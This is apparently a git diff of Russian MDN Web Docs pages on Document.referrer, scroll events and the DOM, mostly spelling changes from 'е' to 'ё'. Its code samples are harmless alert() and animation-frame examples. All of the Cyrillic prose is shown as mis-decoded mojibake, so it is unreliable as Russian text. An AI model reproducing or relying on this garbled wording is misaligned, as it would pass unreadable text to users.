@@ -9,7 +9,7 @@ translation_of: Web/API/Document/referrer
---
<div>{{APIRef("DOM")}}</div>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <a href="http://www.w3.org/Addressing/#background">URI</a> страницы, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±Ρ‹Π» ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ.</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β <a href="http://www.w3.org/Addressing/#background">URI</a> страницы, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±Ρ‹Π» ΡΠΎΠ²Π΅Ρ€ΡˆΡ‘Π½ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -18,7 +18,7 @@ translation_of: Web/API/Document/referrer
<h3 id="Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Π’Π΅Ρ€Π½Π΅Ρ‚ ΠΏΡƒΡΡ‚ΡƒΡŽ строку, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠΏΠ°Π» Π½Π° страницу Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ (Π½Π΅ Ρ‡Π΅Ρ€Π΅Π· ссылку, Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Π΅Ρ€Π΅Π· Π·Π°ΠΊΠ»Π°Π΄ΠΊΡƒ). Π’.ΠΊ. свойство Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ строку, это Π½Π΅ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ доступ к DOM ΡΡΡ‹Π»Π°ΡŽΡ‰Π΅ΠΉΡΡ страницы.</p>
+<p>Π’Π΅Ρ€Π½Ρ‘Ρ‚ ΠΏΡƒΡΡ‚ΡƒΡŽ строку, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠΎΠΏΠ°Π» Π½Π° страницу Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ (Π½Π΅ Ρ‡Π΅Ρ€Π΅Π· ссылку, Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Π΅Ρ€Π΅Π· Π·Π°ΠΊΠ»Π°Π΄ΠΊΡƒ). Π’.ΠΊ. свойство Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ строку, это Π½Π΅ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ доступ к DOM ΡΡΡ‹Π»Π°ΡŽΡ‰Π΅ΠΉΡΡ страницы.</p>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{HTMLElement("iframe")}},Β <code>Document.referrer</code>Β ΠΏΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ установлСн Π² Ρ‚ΠΎΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΈΒ {{domxref("HTMLHyperlinkElementUtils/href", "href")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° {{domxref("Window/location", "Window.location")}} Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΎΠΊΠ½Π°.</p>
diff --git a/files/ru/web/api/document/scroll_event/index.html b/files/ru/web/api/document/scroll_event/index.html
index 041c505630..5b50a26c31 100644
--- a/files/ru/web/api/document/scroll_event/index.html
+++ b/files/ru/web/api/document/scroll_event/index.html
@@ -46,9 +46,9 @@ translation_of: Web/API/Document/scroll_event
<h3 id="ΠŸΡ€ΠΎΠΏΡƒΡΠΊ_Ρ‚Π°ΠΊΡ‚ΠΎΠ²_события_ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ">ΠŸΡ€ΠΎΠΏΡƒΡΠΊ Ρ‚Π°ΠΊΡ‚ΠΎΠ² события ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ</h3>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ события ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ с высокой ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ-Π΅ΠΌΠΊΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ DOM. ВмСсто этого рСкомСндуСтся ΠΏΡ€ΠΎΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊΡ‚Ρ‹ события, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} ΠΈΠ»ΠΈ {{DOMxRef("CustomEvent")}}, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅.</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ события ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒΡΡ с высокой ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ-Ρ‘ΠΌΠΊΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ DOM. ВмСсто этого рСкомСндуСтся ΠΏΡ€ΠΎΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊΡ‚Ρ‹ события, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{DOMxRef("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{DOMxRef("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}} ΠΈΠ»ΠΈ {{DOMxRef("CustomEvent")}}, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅.</p>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΎΠ΄Π½Π°ΠΊΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ…ΠΎΠ΄Π½Ρ‹Π΅ события ΠΈ ΠΊΠ°Π΄Ρ€Ρ‹ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ с ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠΉ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ, ΠΈ поэтому привСдСнная Π½ΠΈΠΆΠ΅ оптимизация Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ Π½Π΅ трСбуСтся. Π’Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ниТС оптимизируСтся событиС <code>scroll</code> для <code>requestAnimationFrame</code>:</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΠΎΠ΄Π½Π°ΠΊΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ…ΠΎΠ΄Π½Ρ‹Π΅ события ΠΈ ΠΊΠ°Π΄Ρ€Ρ‹ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ с ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠΉ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ, ΠΈ поэтому привСдённая Π½ΠΈΠΆΠ΅ оптимизация Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ Π½Π΅ трСбуСтся. Π’Β ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ниТС оптимизируСтся событиС <code>scroll</code> для <code>requestAnimationFrame</code>:</p>
<pre class="brush: js notranslate">// Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ: http://www.html5rocks.com/en/tutorials/speed/animations/
diff --git a/files/ru/web/api/document_object_model/events/index.html b/files/ru/web/api/document_object_model/events/index.html
index b8dd38e9d8..eb3a257182 100644
--- a/files/ru/web/api/document_object_model/events/index.html
+++ b/files/ru/web/api/document_object_model/events/index.html
@@ -10,7 +10,7 @@ original_slug: DOM/DOM_Reference/Events
<p>Π’ этой Π³Π»Π°Π²Π΅ описываСтся модСль событий DOM. <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event">Π’ΠΎΠΏ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ</a> Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ сам ΠΏΠΎ сСбС описано, Π° Ρ‚Π°ΠΊΠΆΠ΅ интСрфСйсы для рСгистрации событий Π½Π° ΡƒΠ·Π»Π°Ρ… Π² DOM, Π’Π°ΠΊΠΆΠ΅ Π° <a href="/ru/docs/Web/API/EventTarget.addEventListener">ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ события</a> Π“Π»Π°Π²Π½ΠΎΠ³ΠΎ , Π’Π°ΠΊΠΆΠ΅ Π° НСсколько большС ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚, ΠΊΠ°ΠΊ Π Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ интСрфСйсы связаны Π΄Ρ€ΡƒΠ³ события Π“Π»Π°Π²Π½ΠΎΠ³ΠΎ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ.</p>
-<p>БущСствуСт отличная Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ°, которая Ρ‡Π΅Ρ‚ΠΊΠΎ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ события Ρ‚Ρ€Π΅Ρ… этапов Ρ‡Π΅Ρ€Π΅Π· DOM Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM Level 3 Events</a> .</p>
+<p>БущСствуСт отличная Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΠ°, которая Ρ‡Ρ‘Ρ‚ΠΊΠΎ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ события Ρ‚Ρ€Ρ‘Ρ… этапов Ρ‡Π΅Ρ€Π΅Π· DOM Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ <a href="http://www.w3.org/TR/DOM-Level-3-Events/#dom-event-architecture">DOM Level 3 Events</a> .</p>
<p>Π’Π°ΠΊΠΆΠ΅ см. <a href="/ru/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 5: РаспространСниС событий</a> Π² Π³Π»Π°Π²Π΅ Β«ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹Β» для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°.</p>
@@ -41,7 +41,7 @@ function greet (event) {
<pre class="brush: html">&lt;button onclick = "alert ('Hello world!')"&gt;
</pre>
-<p>Код JavaScript Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ пСрСдаСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Event Ρ‡Π΅Ρ€Π΅Π· <code>event</code>ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ обрабатываСтся особым ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, описанным Π² спСцификации HTML</a> .</p>
+<p>Код JavaScript Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ пСрСдаётся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ Event Ρ‡Π΅Ρ€Π΅Π· <code>event</code>ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€. <a href="http://dev.w3.org/html5/spec/webappapis.html#the-event-handler-processing-algorithm">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ обрабатываСтся особым ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, описанным Π² спСцификации HTML</a> .</p>
<p>Π­Ρ‚ΠΎΠ³ΠΎ ΠΏΡƒΡ‚ΠΈ слСдуСт ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ. Π­Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ большС ΠΈ ΠΌΠ΅Π½Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΠΎΠΉ. ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ содСрТания / структуры ΠΈ повСдСния ΠΏΠ»ΠΎΡ…ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ затрудняСт поиск ошибки.</p>
@@ -57,9 +57,9 @@ function greet (event) {
<h2 id="Доступ_ΠΊ_интСрфСйсам_событий">Доступ ΠΊ интСрфСйсам событий</h2>
-<p>ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ присоСдинСны ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ элСмСнты DOM, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΠΊΠ½Π°</a> ΠΈ Ρ‚. Π”. Когда происходит событиС, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события создаСтся ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ пСрСдаСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ события.</p>
+<p>ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ событий ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ присоСдинСны ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ элСмСнты DOM, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects">ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΎΠΊΠ½Π°</a> ΠΈ Ρ‚. Π”. Когда происходит событиС, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события создаётся ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ пСрСдаётся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ события.</p>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ {{domxref ("Event")}} доступСн ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Π² качСствС ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события пСрСдаСтся Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ Ρ‚Π°ΠΊΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ {{domxref ("Event")}} доступСн ΠΈΠ· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Π² качСствС ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события пСрСдаётся Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ Ρ‚Π°ΠΊΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
<pre class="brush: js"><code>function print(evt) {</code>
// ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρƒ evt автоматичСски назначаСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события
diff --git a/files/ru/web/api/document_object_model/examples/index.html b/files/ru/web/api/document_object_model/examples/index.html
index 18eb89b351..6f0354b793 100644
--- a/files/ru/web/api/document_object_model/examples/index.html
+++ b/files/ru/web/api/document_object_model/examples/index.html
@@ -368,7 +368,7 @@ for (var i = 0; i &lt; 2; i++) {
<h3 id="Notes" name="Notes">Π—Π°ΠΌΠ΅Ρ‚ΠΊΠΈ</h3>
<ul>
- <li>Бвойство Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ {{domxref ("element.innerHTML", "innerHTML")}} Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для измСнСния Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, хотя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ для записи всСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈΠ»ΠΈ содСрТимого ячСйки.</li>
+ <li>Бвойство Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ {{domxref ("element.innerHTML", "innerHTML")}} Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для измСнСния Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, хотя Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘ для записи всСй Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈΠ»ΠΈ содСрТимого ячСйки.</li>
<li>Если для создания строк ΠΈ ячССк ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ DOM Core {{domxref ("document.createElement")}} ΠΈ {{domxref ("Node.appendChild")}}, IE Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΠΊ элСмСнту tbody, Ρ‚ΠΎΠ³Π΄Π° ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ позволят Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΊ элСмСнту Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ (строки Π±ΡƒΠ΄ΡƒΡ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ ΠΊ послСднСму элСмСнту tbody).</li>
<li>БущСствуСт ряд Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², относящихся ΠΊ интСрфСйсу Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для создания ΠΈ измСнСния Ρ‚Π°Π±Π»ΠΈΡ†.</li>
</ul>
diff --git a/files/ru/web/api/document_object_model/introduction/index.html b/files/ru/web/api/document_object_model/introduction/index.html
index e906032520..426ebcbe5e 100644
--- a/files/ru/web/api/document_object_model/introduction/index.html
+++ b/files/ru/web/api/document_object_model/introduction/index.html
@@ -54,7 +54,7 @@ p_list = doc.getElementsByTagName("para");</code></pre>
<pre class="language-html">&lt;body onload="window.alert('Π΄ΠΎΠ±Ρ€ΠΎ ΠΏΠΎΠΆΠ°Π»ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° мою домашнюю страницу!');"&gt;
</pre>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>&lt;script&gt;</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΊΠΎΠ΄ JavaScript, Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ устанавливаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (ΠΊΠΎΠ³Π΄Π° вСсь DOM доступСн для использования). Π­Ρ‚Π° функция создаСт Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт H1, добавляСт тСкст Π² Π΄Π°Π½Π½Ρ‹ΠΉ элСмСнт, Π° Π·Π°Ρ‚Π΅ΠΌ добавляСт H1 Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°:</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта <code>&lt;script&gt;</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΊΠΎΠ΄ JavaScript, Π΄Π°Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ устанавливаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° (ΠΊΠΎΠ³Π΄Π° вСсь DOM доступСн для использования). Π­Ρ‚Π° функция создаёт Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт H1, добавляСт тСкст Π² Π΄Π°Π½Π½Ρ‹ΠΉ элСмСнт, Π° Π·Π°Ρ‚Π΅ΠΌ добавляСт H1 Π² Π΄Π΅Ρ€Π΅Π²ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°:</p>
<pre class="brush: html language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>html</span><span class="punctuation token">&gt;</span></span>
<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>head</span><span class="punctuation token">&gt;</span></span>
@@ -111,7 +111,7 @@ p_list = doc.getElementsByTagName("para");</code></pre>
</tr>
<tr>
<td>namedNodeMap</td>
- <td>namedNodeMap ΠΏΠΎΠ΄ΠΎΠ±Π½Π° массиву, Π½ΠΎ элСмСнты доступны ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ ΠΈΠ»ΠΈ индСксу. Доступ ΠΏΠΎ индСксу - это лишь для удобства пСрСчислСния, Ρ‚.ΠΊ. элСмСнты Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ порядка Π² спискС. Π­Ρ‚ΠΎΡ‚ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ item() для этих Ρ†Π΅Π»Π΅ΠΉ ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ элСмСнты ΠΈΠ· namedNodeMap</td>
